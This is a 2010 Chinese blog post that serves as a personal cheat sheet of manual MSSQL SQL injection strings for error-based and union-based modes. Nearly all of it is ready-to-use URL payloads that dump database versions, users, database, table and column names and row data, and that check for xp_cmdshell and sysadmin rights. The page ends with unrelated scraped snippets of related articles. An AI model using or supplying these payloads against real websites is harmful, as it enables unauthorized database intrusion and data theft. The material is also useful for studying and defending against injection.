Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51

近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用!

-----------------------------------------------------------------------------------------------------------------------------------

Mssql注释符:

#

--

显错模式的:

判断是否支持多行

;declare @x int--

查看当前数据库版本

URL?id=13 and @@version>0--

查看当前连接数据库用户

URL?id=13 and user>0--

查看当前数据库名

URL?id=13 and db_name()>0--

爆数据库名

URL?id=13 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))--

//dbid<7的为系统库名

爆当前数据库表名

URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype='U'))--

URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('表名1','表名2')))--

爆其他数据库表名

URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype='u' ))--

URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype='u' and name not in ('表名1','表名2')))--

爆字段名

URL?id=13 having 1=1--

URL?id=13 group by 表名.字段名1,字段名2 having 1=1--

爆其他表的字段名

URL?id=13 select * from 表名 having 1=1--

URL?id=13 select * from 表名 group by 表名.字段名1,字段名2 having 1=1--

扩展一下

URL?id=13 and 1=convert(int,(select * from 表名 having 1=1))-- 字段名

URL?id=13 and 1=convert(int,(select * from 表名 group by 表名.字段名 having 1=1))-- 字段名

爆数据

URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名))--

URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名 where 字段名 not in ('数据1','数据2'))--

URL?id=13 and 1=convert(int,(select top1 字段名 from 表名 where 字段名!='数据1' and 字段名!='数据2'--

//也可以用where语句

不显错模式

URL?id=13 order by 字段数

URL?id=13 and 1=2 union select ?,?,?,?,?--

查询数据库版本和系统版本

URL?id=13 and 1=2 union select ?,?,?,@@version--

查询数据库用户名

URL?id=13 and 1=2 union select ?,?,?,(select user)--

URL?id=13 and 1=2 union select ?,?,?,(select system_user)--

查询主机名

URL?id=13 and 1=2 union select ?,?,?,(select host_name())--

查询数据库名

URL?id=13 and 1=2 union select ?,?,?,(select db_name())--

判断存储扩展xp_cmdshell

URL?id=13 and 1=2 union select ?,?,?,(select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell')--

//1为存在,0为不存在

判断当前数据库用户权限

URL?id=13 and 1=2 union select ?,?,?,(select is_srvrolemember('sysadmin'))--

查询数据库名

URL?id=13 and 1=2 union select ?,?,?(select name from master.dbo.sysdatabases where dbid=7)--

//dbid<7的为系统数据库名

查询数据库表名

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='U')--

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='U' and name not in ('表名1','表名2'))--

查询字段名

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id('表名')--

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id('表名') and name not in('字段名1','字段名2')--

查询数据

URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名)--

URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名 where 字段名 not in ('数据1','数据2')--

其他的语句

爆表名

URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where xtype='u')) from sysobjects--

//接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了

爆其他数据库表名

URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from [数据库名]..sysobjects where xtype='u' and name not in(select top 0 name from [数据库名]..sysobjects where xtype='u')

爆字段

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from syscolumns where id in (select id from sysobjects where name='表名') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='表名'))) from sysobjects--

//从0开始增加第二个top N的数字就可以遍历admin表的字段名了

查询数据

URL?id=13 URL?id=13 and 1=2 union select top 1 ?,?,字段名 from 表名 where name not in (select top 0 name from 表名)--

Mssql显错和不显错模式下的注入的更多相关文章

  1. 在debug模式下运行不报错,换到release模式下报找不到某某库或文件的错。。解决办法

    我遇到的问题是:把edit secheme调到debug模式运行没有问题,然后调到release模式的时候报目录下没有libTuyoo.a 解决办法 把断开真机设备,用IOS device下relea ...

  2. Safari无痕模式下,storage被禁用问题

    前言 Safari开启无痕模式后,localStorage和sessionStorage为空,对其进行set操作也会报错,也就是说这种情况下,storage是被禁止使用了.接下来说一下解决方法. 解决 ...

  3. MSSQL注入SA权限不显错模式下的 入 侵

    一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用.方法很简单大家看操作. 我这里使用的是 火狐的插件提交参数 ...

  4. 当IDENTITY_INSERT设置为OFF时不能向表插入显示值。(源:MSSQLServer,错误码:544)

    错误提示"事务和快照同步时提示:当IDENTITY_INSERT设置为OFF时不能向表插入显示值.(源:MSSQLServer,错误码:544)" 原因:在SQL2008同步时到S ...

  5. vim模式下报错E37: No write since last change (add ! to override)

    故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...

  6. 转:vim模式下报错E37: No write since last change (add ! to override)

    故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...

  7. 关于Mui严格模式下的报错解决方案

    前言:作为一名程序员遇到Bug总是在所难免的,但是记住"不二过",今天在Vue开发中遇到了一个报错让我纠结了许久,找了许久, 报错的原因是使用了mui导入其js文件导致的. 报错信 ...

  8. IIS7部署报错 500.22错误 检查到这集成托管模式下不使用的ASP.NET配置

    公司的一个项目,环境为: .Net 4.0 + MVC3,部署在Windows Server 2003R2 IIS6.0上面运行正常, 迁移到新服务器Windows Server 2008R2,部署在 ...

  9. 服务器 vim模式下报错E37: No write since last change (add ! to override)

    故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...

随机推荐

  1. 在win2003上安装配置win 服务 遇到的问题

    在win2003上安装配置win 服务 win服务安装后启动不起来 .. 没有装.net framework4.0   要装这个版本 mysql-connector-net-6.3.4.zip    ...

  2. ORACLE 索引概述

    索引是数据库中一种可选的数据结构,她通常与表或簇相关.用户可以在表的一列或数列上建立索引,以提高在此表上执行 SQL 语句的性能.就像本文档的索引可以帮助读者快速定位所需信息一样,Oracle 的索引 ...

  3. 【Python排序搜索基本算法】之Dijkstra算法

    Dijkstra算法和前一篇的Prim算法非常像,区别就在于Dijkstra算法向最短路径树(SPT)中添加顶点的时候,是按照ta与源点的距离顺序进行的.OSPF动态路由协议就是用的Dijkstra算 ...

  4. JQuery的ready函数与JS的onload的区别详解

    JQuery的ready函数与JS的onload的区别:1.执行时间window.onload必须等到页面内包括图片的所有元素加载完毕后才能执行.$(document).ready()是DOM结构绘制 ...

  5. BootStrap--Tables(表格) MVC中不刷新做增,删,改(C#)

    自带的Tables会有自动分页,搜索等一些动能,很方便,唯一的不足就是添加,修改,删除数据需要刷新页面,并不能静态. 下面说的是如何不刷新页面(Ajax)去执行增,删,改操作. 需要用到的样式,JS库 ...

  6. 基于wax的lua IOS插件开发

    作者:朱克锋 邮箱:zhukefeng@iboxpay.com 转载请注明出处:http://blog.csdn.net/linux_zkf Objective-C的运行时支持新增类型和方法,但是由于 ...

  7. django 执行原始SQL

    二.知识点总结 When the model query APIs don’t go far enough, you can fall back to writing raw SQL. go far ...

  8. leetCode 48.Rotate Image (旋转图像) 解题思路和方法

    Rotate Image You are given an n x n 2D matrix representing an image. Rotate the image by 90 degrees ...

  9. Win10系统修改MAC地址

    本地管理地址,输入想修改的MAC地址后,点确定即完成修改.在CMD窗口中,使用ipconfig 命令可以查看新的MAC地址. 再次钩选不存在,则还原为原来的MAC地址.

  10. json数据获取

    今天Pei讲了一个android获取json数据的方式吧 代码什么的没看懂,反正知道就是那么一回事,用AsyncTask线程来获取json数据,我也不知道这样说对不对 估计以后回过来看的时候会发现一大 ...